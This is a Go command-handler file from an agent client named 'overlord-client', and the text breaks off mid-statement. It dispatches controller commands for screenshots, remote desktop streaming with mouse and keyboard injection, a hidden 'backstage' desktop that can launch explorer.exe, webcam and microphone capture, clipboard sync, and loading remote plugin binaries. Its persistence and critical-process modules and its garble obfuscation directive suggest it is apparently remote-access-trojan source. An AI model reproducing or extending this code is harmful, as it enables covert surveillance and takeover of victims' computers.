package handlers import ( "context" "encoding/json" "errors" "fmt" "log" "os" "os/exec" "path/filepath" goruntime "runtime" "strconv" "strings" "sync" "sync/atomic" "time" "overlord-client/cmd/agent/audio" "overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/criticalproc" "overlord-client/cmd/agent/filesearch" "overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/privacy" "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/securelog" "overlord-client/cmd/agent/sysinfo" "overlord-client/cmd/agent/webrtcpub" "overlord-client/cmd/agent/wire" ) var ErrReconnect = errors.New("reconnect requested") var ( activeCommands = make(map[string]context.CancelFunc) activeCommandsMu sync.Mutex voiceSessionMu sync.Mutex voiceSession *voiceRuntime desktopAudioMu sync.Mutex desktopAudioSession *voiceRuntime backstageInputOnce sync.Once backstageInputQueue chan backstageInputEvent backstageInputDropped atomic.Uint64 fileHashSlots = make(chan struct{}, 2) ) const cloneProgressMinInterval = 100 * time.Millisecond type cloneProgressLimiter struct { lastSent time.Time } func (l *cloneProgressLimiter) allow(now time.Time, copiedBytes int64, status string) bool { initial := status == "scanning" || (status == "cloning" && copiedBytes == 0) terminal := status == "done" || strings.HasPrefix(status, "done_with_errors|") if !initial && !terminal && !l.lastSent.IsZero() && now.Sub(l.lastSent) < cloneProgressMinInterval { return false } l.lastSent = now return true } type backstageInputKind int const ( BackstageInputMouseMove backstageInputKind = iota BackstageInputMouseDown BackstageInputMouseUp BackstageInputMouseWheel BackstageInputKeyDown BackstageInputKeyUp ) type backstageInputEvent struct { kind backstageInputKind display int x int32 y int32 button int delta int32 vk uint16 text string } type voiceRuntime struct { sessionID string cancel context.CancelFunc session *audio.Session } func cancelAllCommands() { activeCommandsMu.Lock() defer activeCommandsMu.Unlock() for id, cancel := range activeCommands { if cancel != nil { cancel() } delete(activeCommands, id) } } func resetForReconnect(env *runtime.Env) { if env == nil { return } privacy.Stop() cancelAllCommands() capture.ResetFrameSlots() env.DesktopMu.Lock() if env.DesktopCancel != nil { env.DesktopCancel() } waitStreamStop(env.DesktopDone, "desktop") env.DesktopCancel = nil env.DesktopDone = nil env.MouseControl = false env.KeyboardControl = false env.CursorCapture = false env.SelectedDisplay = GetPersistedDisplay() env.DesktopMu.Unlock() env.BackstageMu.Lock() if env.BackstageCancel != nil { env.BackstageCancel() } waitStreamStop(env.BackstageDone, "backstage") env.BackstageCancel = nil env.BackstageDone = nil env.BackstageMouseControl = false env.BackstageKeyboardControl = false env.BackstageCursorCapture = false env.BackstageSelectedDisplay = 0 env.BackstageMu.Unlock() env.WebcamMu.Lock() if env.WebcamCancel != nil { env.WebcamCancel() } waitStreamStop(env.WebcamDone, "webcam") env.WebcamCancel = nil env.WebcamDone = nil env.WebcamDeviceIndex = 0 env.WebcamFPS = 30 env.WebcamUseMaxFPS = false env.WebcamMu.Unlock() if env.Console != nil { env.Console.StopAll() } stopVoiceSession() CleanupAllTunnels() env.NotificationMu.Lock() env.NotificationKeywords = nil env.NotificationMinIntervalMs = 0 env.NotificationMu.Unlock() } func removePersistence() error { return persistence.Remove() } func registerCancellableCommand(cmdID string, cancel context.CancelFunc) { activeCommandsMu.Lock() defer activeCommandsMu.Unlock() activeCommands[cmdID] = cancel } func unregisterCommand(cmdID string) { activeCommandsMu.Lock() defer activeCommandsMu.Unlock() delete(activeCommands, cmdID) } func waitStreamStop(done <-chan struct{}, name string) { if done == nil { return } select { case <-done: return case <-time.After(2 * time.Second): log.Printf("%s: stop timed out", name) } } func stopVirtualStreamLocked(env *runtime.Env) { env.VirtualMouseControl = false env.VirtualKeyboardControl = false env.VirtualCursorCapture = false if env.VirtualCancel != nil { env.VirtualCancel() } waitStreamStop(env.VirtualDone, "hidden") env.VirtualCancel = nil env.VirtualDone = nil } func ensurebackstageInputWorker() { backstageInputOnce.Do(func() { backstageInputQueue = make(chan backstageInputEvent, 1024) goSafe("backstage input worker", nil, func() { for ev := range backstageInputQueue { switch ev.kind { case BackstageInputMouseMove: if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil { log.Printf("backstage input worker: mouse_move failed: %v", err) } case BackstageInputMouseDown: if ev.x != 0 || ev.y != 0 { _ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y) } if err := capture.BackstageInputMouseDown(ev.button); err != nil { log.Printf("backstage input worker: mouse_down failed: %v", err) } case BackstageInputMouseUp: if ev.x != 0 || ev.y != 0 { _ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y) } if err := capture.BackstageInputMouseUp(ev.button); err != nil { log.Printf("backstage input worker: mouse_up failed: %v", err) } case BackstageInputMouseWheel: if ev.x != 0 || ev.y != 0 { _ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y) } if err := capture.BackstageInputMouseWheel(ev.delta); err != nil { log.Printf("backstage input worker: mouse_wheel failed: %v", err) } case BackstageInputKeyDown: if err := capture.BackstageInputKeyDown(ev.vk, ev.text); err != nil { log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err) } case BackstageInputKeyUp: if err := capture.BackstageInputKeyUp(ev.vk); err != nil { log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err) } } } }) }) } func enqueuebackstageInput(ev backstageInputEvent) { ensurebackstageInputWorker() select { case backstageInputQueue <- ev: return default: if ev.kind == BackstageInputMouseMove { dropped := backstageInputDropped.Add(1) if dropped%100 == 1 { log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped) } return } t := time.NewTimer(200 * time.Millisecond) defer t.Stop() select { case backstageInputQueue <- ev: case <-t.C: log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind) } } } func clearbackstageInputQueue() { if backstageInputQueue == nil { return } for { select { case <-backstageInputQueue: default: return } } } func payloadAsMap(payload interface{}) map[string]interface{} { switch v := payload.(type) { case map[string]interface{}: return v case map[interface{}]interface{}: out := make(map[string]interface{}, len(v)) for key, val := range v { switch ks := key.(type) { case string: out[ks] = val case []byte: out[string(ks)] = val } } return out default: return nil } } func payloadInt32(payload map[string]interface{}, key string) (int32, bool) { if payload == nil { return 0, false } if v, ok := payload[key]; ok { switch val := v.(type) { case float64: return int32(val), true case float32: return int32(val), true case int: return int32(val), true case int8: return int32(val), true case int16: return int32(val), true case int32: return val, true case int64: return int32(val), true case uint: return int32(val), true case uint8: return int32(val), true case uint16: return int32(val), true case uint32: return int32(val), true case uint64: return int32(val), true } } return 0, false } func payloadInt(payload map[string]interface{}, key string) (int, bool) { if payload == nil { return 0, false } if v, ok := payload[key]; ok { switch val := v.(type) { case float64: return int(val), true case float32: return int(val), true case int: return val, true case int8: return int(val), true case int16: return int(val), true case int32: return int(val), true case int64: return int(val), true case uint: return int(val), true case uint8: return int(val), true case uint16: return int(val), true case uint32: return int(val), true case uint64: return int(val), true } } return 0, false } func cancelCommand(cmdID string) bool { activeCommandsMu.Lock() defer activeCommandsMu.Unlock() if cancel, exists := activeCommands[cmdID]; exists { cancel() delete(activeCommands, cmdID) return true } return false } func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message string) { res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: ok} if message != "" { res.Message = message } if err := wire.WriteMsg(context.Background(), env.Conn, res); err != nil { log.Printf("command_result send failed: %v", err) } } func sendCommandResultAsync(env *runtime.Env, cmdID string) { go func() { defer recoverAndLog("sendCommandResultAsync", nil) sendCommandResultSafe(env, cmdID, true, "") }() } func payloadNumberToInt64(value interface{}) int64 { switch v := value.(type) { case int: return int64(v) case int8: return int64(v) case int16: return int64(v) case int32: return int64(v) case int64: return v case uint: return int64(v) case uint8: return int64(v) case uint16: return int64(v) case uint32: return int64(v) case uint64: return int64(v) case float32: return int64(v) case float64: return int64(v) default: return 0 } } func stopVoiceSession() { voiceSessionMu.Lock() v := voiceSession voiceSession = nil voiceSessionMu.Unlock() if v == nil { return } if v.cancel != nil { v.cancel() } if v.session != nil { _ = v.session.Close() } } func startVoiceSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error { if sessionID == "" { return errors.New("missing voice session id") } stopVoiceSession() vCtx, cancel := context.WithCancel(ctx) session, err := audio.StartVoiceSession(vCtx, source, func(chunk []byte) { if len(chunk) == 0 { return } msg := map[string]interface{}{ "type": "voice_uplink", "sessionId": sessionID, "data": chunk, } _ = wire.WriteMsg(vCtx, env.Conn, msg) }) if err != nil { cancel() return err } v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session} voiceSessionMu.Lock() voiceSession = v voiceSessionMu.Unlock() return nil } func writeVoiceDownlink(data []byte) error { voiceSessionMu.Lock() v := voiceSession voiceSessionMu.Unlock() if v == nil || len(data) == 0 { return nil } if v.session == nil { return errors.New("voice session not ready") } if err := v.session.WritePlayback(data); err != nil { return err } return nil } func stopDesktopAudioSession() { desktopAudioMu.Lock() v := desktopAudioSession desktopAudioSession = nil desktopAudioMu.Unlock() if v == nil { return } if v.cancel != nil { v.cancel() } if v.session != nil { _ = v.session.Close() } } func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error { if sessionID == "" { return errors.New("missing desktop audio session id") } stopDesktopAudioSession() vCtx, cancel := context.WithCancel(ctx) legacyConverter := &desktopAudioLegacyConverter{} session, err := audio.StartCaptureOnlySession(vCtx, source, func(chunk []byte) { if len(chunk) == 0 { return } // Fan to any active WebRTC audio session. No-op when nothing is // subscribed, so the cost is just a map lookup under a read lock. if webrtcpub.IsActive(webrtcpub.KindAudio) { samples := pcm16BytesToInt16(chunk) _ = webrtcpub.WriteAudio(webrtcpub.KindAudio, samples) } legacyPCM := legacyConverter.Convert(chunk) if len(legacyPCM) == 0 { return } msg := map[string]interface{}{ "type": "desktop_audio_uplink", "sessionId": sessionID, "data": legacyPCM, } _ = wire.WriteMsg(vCtx, env.Conn, msg) }) if err != nil { cancel() return err } v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session} desktopAudioMu.Lock() desktopAudioSession = v desktopAudioMu.Unlock() return nil } func extractDLLBytes(payload map[string]interface{}) []byte { if payload == nil { return nil } switch v := payload["dll"].(type) { case []byte: return v case string: if len(v) > 0 { return []byte(v) } } return nil } func extractCaptureDLLBytes(payload map[string]interface{}) []byte { if payload == nil { return nil } switch v := payload["capture_dll"].(type) { case []byte: return v case string: if len(v) > 0 { return []byte(v) } } return nil } func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 cmdID, _ := envelope["id"].(string) actionValue, _ := envelope["commandType"].(string) action := wire.CommandType(actionValue) switch action { case "screenshot": payload, _ := envelope["payload"].(map[string]interface{}) allDisplays := false if payload != nil { if v, ok := payload["allDisplays"].(bool); ok && v { allDisplays = true } else if mode, ok := payload["mode"].(string); ok && mode == "notification" { allDisplays = true } } if goruntime.GOOS == "windows" { allDisplays = true } return HandleScreenshot(ctx, env, cmdID, allDisplays) case "plugin_load": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"}) } manifestRaw, _ := payload["manifest"].(map[string]interface{}) binaryBytes, _ := payload["binary"].([]byte) if env.Plugins == nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "plugin manager not ready"}) } manifest, err := plugins.ManifestFromMap(manifestRaw) if err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } goSafe("plugin load", nil, func() { if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil { _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()}) _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) return } _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"}) _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) }) return nil case "plugin_load_http": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"}) } manifestRaw, _ := payload["manifest"].(map[string]interface{}) manifest, err := plugins.ManifestFromMap(manifestRaw) if err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } pullURL, _ := payload["url"].(string) expectedSize := int64(toInt(payload["size"])) goSafe("plugin load http", nil, func() { HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize) }) return nil case "plugin_unload": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil || env.Plugins == nil { return nil } pluginId, _ := payload["pluginId"].(string) if pluginId == "" { return nil } env.Plugins.Unload(pluginId) _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"}) return nil case "webrtc_publish": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { sendCommandResultSafe(env, cmdID, false, "missing payload") return nil } return handleWebrtcPublish(ctx, env, cmdID, payload) case "webrtc_stop": payload, _ := envelope["payload"].(map[string]interface{}) return handleWebrtcStop(ctx, env, cmdID, payload) case "webrtc_p2p_offer": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { sendCommandResultSafe(env, cmdID, false, "missing payload") return nil } return handleWebrtcP2POffer(ctx, env, cmdID, payload) case "webrtc_p2p_ice": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { return nil } return handleWebrtcP2PIce(ctx, env, cmdID, payload) case "webrtc_p2p_stop": payload, _ := envelope["payload"].(map[string]interface{}) return handleWebrtcP2PStop(ctx, env, cmdID, payload) case "desktop_start": if goruntime.GOOS == "darwin" { perms := sysinfo.DarwinPermissions() var missing []string if !perms["screenRecording"] { missing = append(missing, "screenRecording") } if !perms["accessibility"] { missing = append(missing, "accessibility") } if len(missing) > 0 { log.Printf("desktop: macOS missing permissions: %v", missing) detail, _ := json.Marshal(map[string]interface{}{ "reason": "permissions_denied", "missing": missing, "permissions": perms, }) sendCommandResultSafe(env, cmdID, false, string(detail)) return nil } } env.DesktopMu.Lock() if env.DesktopCancel != nil { env.DesktopCancel() waitStreamStop(env.DesktopDone, "desktop") } desktopCtx, cancel := context.WithCancel(ctx) env.DesktopCancel = cancel done := make(chan struct{}) env.DesktopDone = done goSafe("desktop stream", env.Cancel, func() { log.Printf("desktop: start requested") _ = DesktopStart(desktopCtx, env) close(done) }) env.DesktopMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_stop": env.DesktopMu.Lock() log.Printf("desktop: stop requested") if env.DesktopCancel != nil { env.DesktopCancel() } waitStreamStop(env.DesktopDone, "desktop") env.DesktopCancel = nil env.DesktopDone = nil env.DesktopMu.Unlock() env.VirtualMu.Lock() if env.VirtualCancel != nil { log.Printf("hidden: stop requested via desktop_stop") stopVirtualStreamLocked(env) } env.VirtualMu.Unlock() if privacy.IsEnabled() { privacy.Stop() log.Printf("privacy: auto-disabled on desktop stop") } sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_select_display": payload, _ := envelope["payload"].(map[string]interface{}) disp := 0 if payload != nil { displayVal := payload["display"] if v, ok := displayVal.(int8); ok { disp = int(v) } else if v, ok := displayVal.(int16); ok { disp = int(v) } else if v, ok := displayVal.(int32); ok { disp = int(v) } else if v, ok := displayVal.(int64); ok { disp = int(v) } else if v, ok := displayVal.(int); ok { disp = v } else if v, ok := displayVal.(uint8); ok { disp = int(v) } else if v, ok := displayVal.(float64); ok { disp = int(v) } } log.Printf("desktop: select display %d", disp) _ = DesktopSelect(ctx, env, disp) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_enable_mouse": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } log.Printf("desktop: mouse control %v", enabled) _ = DesktopMouseControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_enable_keyboard": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } log.Printf("desktop: keyboard control %v", enabled) _ = DesktopKeyboardControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_enable_cursor": payload, _ := envelope["payload"].(map[string]interface{}) enabled := false if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } log.Printf("desktop: cursor capture %v", enabled) _ = DesktopCursorControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_set_duplication": payload, _ := envelope["payload"].(map[string]interface{}) enabled := false if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } log.Printf("desktop: duplication capture %v", enabled) _ = DesktopDuplicationControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_set_quality": payload, _ := envelope["payload"].(map[string]interface{}) quality := 90 codec := "" softwareH264 := false reason := "" source := "" if payload != nil { if q, ok := payloadInt(payload, "quality"); ok { quality = q } if v, ok := payload["codec"].(string); ok { codec = v } if v, ok := payload["softwareH264"].(bool); ok { softwareH264 = v } if v, ok := payload["reason"].(string); ok { reason = strings.TrimSpace(v) } if v, ok := payload["source"].(string); ok { source = strings.TrimSpace(v) } } softwareH264 = softwareH264 && strings.EqualFold(strings.TrimSpace(codec), "h264") if source != "" || reason != "" { log.Printf("desktop: set quality=%d codec=%s software_h264=%v source=%s reason=%s", quality, codec, softwareH264, source, reason) } else { log.Printf("desktop: set quality=%d codec=%s software_h264=%v", quality, codec, softwareH264) } capture.SetDesktopSoftwareH264(softwareH264) capture.SetDesktopQualityAndCodec(quality, codec) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_request_keyframe": log.Printf("desktop: request full frame") capture.RequestDesktopFullFrame() sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_set_resolution": payload, _ := envelope["payload"].(map[string]interface{}) maxH := 0 // default = 1080p cap if payload != nil { if v, ok := payloadInt(payload, "maxHeight"); ok { maxH = v } } log.Printf("desktop: set max resolution height=%d", maxH) capture.SetMaxResolution(maxH) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_set_profile": payload, _ := envelope["payload"].(map[string]interface{}) maxH, fps := 1080, 60 if payload != nil { if v, ok := payloadInt(payload, "maxHeight"); ok { maxH = v } if v, ok := payloadInt(payload, "fps"); ok { fps = v } } SetDesktopTargetFPS(30) capture.SetMaxResolution(maxH) fps = SetDesktopTargetFPS(fps) log.Printf("desktop: set stream profile max_height=%d fps=%d", maxH, fps) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_encoder_capabilities": payload, _ := envelope["payload"].(map[string]interface{}) display := env.SelectedDisplay if payload != nil { if v, ok := payloadInt(payload, "display"); ok { display = v } } if display < 0 || display >= capture.MonitorCount() { display = 0 } goSafe("desktop encoder capability probe", env.Cancel, func() { caps := capture.ProbeDesktopEncoderCapabilities(display) profiles := make([]wire.DesktopEncoderProfile, 0, len(caps.Profiles)) for _, profile := range caps.Profiles { profiles = append(profiles, wire.DesktopEncoderProfile{ MaxHeight: profile.MaxHeight, Width: profile.Width, Height: profile.Height, FPS: profile.FPS, Label: profile.Label, Providers: profile.Providers, }) } codecs := make([]wire.DesktopCodecCapability, 0, len(caps.Codecs)) for _, codec := range caps.Codecs { codecs = append(codecs, wire.DesktopCodecCapability{ Codec: codec.Codec, Encoders: codec.Encoders, Transports: codec.Transports, Hardware: codec.Hardware, }) } if err := wire.WriteMsg(ctx, env.Conn, wire.DesktopEncoderCapabilities{ Type: "desktop_encoder_capabilities", CommandID: cmdID, Probed: caps.Probed, Display: caps.Display, Profiles: profiles, Codecs: codecs, Detail: caps.Detail, }); err != nil { log.Printf("desktop: encoder capability result send failed: %v", err) } }) return nil case "desktop_set_fps": payload, _ := envelope["payload"].(map[string]interface{}) fps := 120 if payload != nil { if v, ok := payloadInt(payload, "fps"); ok { fps = v } } fps = SetDesktopTargetFPS(fps) log.Printf("desktop: set target fps=%d", fps) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_set_bitrate": payload, _ := envelope["payload"].(map[string]interface{}) bitrateMbps := 0 adaptive := false if payload != nil { if v, ok := payloadInt(payload, "bitrateMbps"); ok { bitrateMbps = v } if v, ok := payload["adaptive"].(bool); ok { adaptive = v } } if bitrateMbps < 0 { bitrateMbps = 0 } if bitrateMbps > 50 { bitrateMbps = 50 } capture.SetH264NetworkAdaptive(adaptive) bps := capture.SetH264TargetBitrate(bitrateMbps * 1_000_000) log.Printf("desktop: set target bitrate=%d Mbps (0=auto) adaptive=%v", bps/1_000_000, adaptive) sendCommandResultSafe(env, cmdID, true, "") return nil case "clipboard_sync_start": payload, _ := envelope["payload"].(map[string]interface{}) source := "rd" if payload != nil { if v, ok := payload["source"].(string); ok && v != "" { source = v } } env.ClipboardSyncMu.Lock() if env.ClipboardSyncCancel != nil { env.ClipboardSyncCancel() if env.ClipboardSyncDone != nil { <-env.ClipboardSyncDone } } syncCtx, syncCancel := context.WithCancel(ctx) env.ClipboardSyncCancel = syncCancel env.ClipboardSyncSource = source done := make(chan struct{}) env.ClipboardSyncDone = done goSafe("clipboard_sync", env.Cancel, func() { ClipboardSyncStart(syncCtx, env, source) close(done) }) env.ClipboardSyncMu.Unlock() log.Printf("clipboard_sync: start (%s)", source) sendCommandResultSafe(env, cmdID, true, "") return nil case "clipboard_sync_stop": env.ClipboardSyncMu.Lock() if env.ClipboardSyncCancel != nil { env.ClipboardSyncCancel() if env.ClipboardSyncDone != nil { <-env.ClipboardSyncDone } env.ClipboardSyncCancel = nil env.ClipboardSyncDone = nil } env.ClipboardSyncMu.Unlock() log.Printf("clipboard_sync: stop") sendCommandResultSafe(env, cmdID, true, "") return nil case "clipboard_set": payload, _ := envelope["payload"].(map[string]interface{}) text := "" if payload != nil { if v, ok := payload["text"].(string); ok { text = v } } ClipboardSyncSet(text) sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_mouse_move": if !env.MouseControl { sendCommandResultAsync(env, cmdID) return nil } payload := payloadAsMap(envelope["payload"]) x, _ := payloadInt32(payload, "x") y, _ := payloadInt32(payload, "y") absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) setCursorPos(absX, absY) sendCommandResultAsync(env, cmdID) return nil case "desktop_mouse_down": if !env.MouseControl { sendCommandResultAsync(env, cmdID) return nil } payload := payloadAsMap(envelope["payload"]) btn, _ := payloadInt(payload, "button") if x, okX := payloadInt32(payload, "x"); okX { if y, okY := payloadInt32(payload, "y"); okY { absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) setCursorPos(absX, absY) } } sendMouseDown(btn) sendCommandResultAsync(env, cmdID) return nil case "desktop_mouse_up": if !env.MouseControl { sendCommandResultAsync(env, cmdID) return nil } payload := payloadAsMap(envelope["payload"]) btn, _ := payloadInt(payload, "button") if x, okX := payloadInt32(payload, "x"); okX { if y, okY := payloadInt32(payload, "y"); okY { absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) setCursorPos(absX, absY) } } sendMouseUp(btn) sendCommandResultAsync(env, cmdID) return nil case "desktop_mouse_wheel": if !env.MouseControl { sendCommandResultAsync(env, cmdID) return nil } payload := payloadAsMap(envelope["payload"]) delta, _ := payloadInt32(payload, "delta") if x, okX := payloadInt32(payload, "x"); okX { if y, okY := payloadInt32(payload, "y"); okY { absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) setCursorPos(absX, absY) } } sendMouseWheel(delta) sendCommandResultAsync(env, cmdID) return nil case "desktop_key_down": if !env.KeyboardControl { sendCommandResultAsync(env, cmdID) return nil } payload, _ := envelope["payload"].(map[string]interface{}) code := "" if payload != nil { if v, ok := payload["code"].(string); ok { code = v } } if vk := keyCodeToVK(code); vk != 0 { sendKeyDown(vk) } sendCommandResultAsync(env, cmdID) return nil case "desktop_key_up": if !env.KeyboardControl { sendCommandResultAsync(env, cmdID) return nil } payload, _ := envelope["payload"].(map[string]interface{}) code := "" if payload != nil { if v, ok := payload["code"].(string); ok { code = v } } if vk := keyCodeToVK(code); vk != 0 { sendKeyUp(vk) } sendCommandResultAsync(env, cmdID) return nil case "desktop_text": if !env.KeyboardControl { sendCommandResultAsync(env, cmdID) return nil } payload, _ := envelope["payload"].(map[string]interface{}) text := "" if payload != nil { if v, ok := payload["text"].(string); ok { text = v } } if text != "" { sendTextInput(text) } sendCommandResultAsync(env, cmdID) return nil // ==================== backstage COMMANDS ==================== case "backstage_start": payload, _ := envelope["payload"].(map[string]interface{}) autoStartExplorer := false VirtualMode := false if payload != nil { if v, ok := payload["autoStartExplorer"].(bool); ok { autoStartExplorer = v } if v, ok := payload["virtual_mode"].(bool); ok { VirtualMode = v } } capture.RequestDesktopRecoveryAfterBackstageStart() if VirtualMode { env.VirtualMu.Lock() if env.VirtualCancel != nil { env.VirtualCancel() waitStreamStop(env.VirtualDone, "hidden") } hiddenCtx, cancel := context.WithCancel(ctx) env.VirtualCancel = cancel done := make(chan struct{}) env.VirtualDone = done goSafe("hidden stream", env.Cancel, func() { log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer) if err := capture.InitializeVirtualMode(); err != nil { log.Printf("hidden: initialization failed: %v", err) close(done) return } if autoStartExplorer { if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil { log.Printf("hidden: auto-start explorer error: %v", err) } } _ = VirtualStart(hiddenCtx, env) close(done) }) env.VirtualMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil } env.BackstageMu.Lock() if env.BackstageCancel != nil { env.BackstageCancel() waitStreamStop(env.BackstageDone, "backstage") } backstageCtx, cancel := context.WithCancel(ctx) env.BackstageCancel = cancel done := make(chan struct{}) env.BackstageDone = done goSafe("backstage stream", env.Cancel, func() { log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer) _ = backstageStart(backstageCtx, env, autoStartExplorer) close(done) }) env.BackstageMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_stop": env.VirtualMu.Lock() if env.VirtualCancel != nil { log.Printf("hidden: stop requested") stopVirtualStreamLocked(env) env.VirtualMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil } env.VirtualMu.Unlock() env.BackstageMu.Lock() log.Printf("backstage: stop requested") env.BackstageMouseControl = false env.BackstageKeyboardControl = false env.BackstageCursorCapture = false clearbackstageInputQueue() if env.BackstageCancel != nil { env.BackstageCancel() } waitStreamStop(env.BackstageDone, "backstage") env.BackstageCancel = nil env.BackstageDone = nil env.BackstageMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_select_display": payload, _ := envelope["payload"].(map[string]interface{}) disp := 0 if payload != nil { displayVal := payload["display"] if v, ok := displayVal.(int8); ok { disp = int(v) } else if v, ok := displayVal.(int16); ok { disp = int(v) } else if v, ok := displayVal.(int32); ok { disp = int(v) } else if v, ok := displayVal.(int64); ok { disp = int(v) } else if v, ok := displayVal.(int); ok { disp = v } else if v, ok := displayVal.(uint8); ok { disp = int(v) } else if v, ok := displayVal.(float64); ok { disp = int(v) } } log.Printf("backstage: select display %d", disp) _ = backstageSelect(ctx, env, disp) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_enable_mouse": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } if env.VirtualCancel != nil { log.Printf("hidden: mouse control %v", enabled) _ = VirtualMouseControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil } log.Printf("backstage: mouse control %v", enabled) _ = backstageMouseControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_enable_keyboard": payload, _ := envelope["payload"].(map[string]interface{}) enabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } if env.VirtualCancel != nil { log.Printf("hidden: keyboard control %v", enabled) _ = VirtualKeyboardControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil } log.Printf("backstage: keyboard control %v", enabled) _ = backstageKeyboardControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_enable_cursor": payload, _ := envelope["payload"].(map[string]interface{}) enabled := false if payload != nil { if v, ok := payload["enabled"].(bool); ok { enabled = v } } if env.VirtualCancel != nil { log.Printf("hidden: cursor capture %v", enabled) _ = VirtualCursorControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil } log.Printf("backstage: cursor capture %v", enabled) _ = backstageCursorControl(ctx, env, enabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_enable_dxgi": payload, _ := envelope["payload"].(map[string]interface{}) dxgiEnabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { dxgiEnabled = v } } log.Printf("backstage: DXGI capture %v", dxgiEnabled) capture.SetbackstageDXGIEnabled(dxgiEnabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_enable_uia": payload, _ := envelope["payload"].(map[string]interface{}) uiaEnabled := true if payload != nil { if v, ok := payload["enabled"].(bool); ok { uiaEnabled = v } } log.Printf("backstage: UIA support %v", uiaEnabled) capture.SetbackstageUIAEnabled(uiaEnabled) sendCommandResultSafe(env, cmdID, true, "") return nil case "backstage_set_resolution": payload, _ := envelope["payload"].(map[string]interface{}) maxH := 1080 if payload != nil { if v, ok := payloadInt(payload, "maxHeight"); ok { maxH 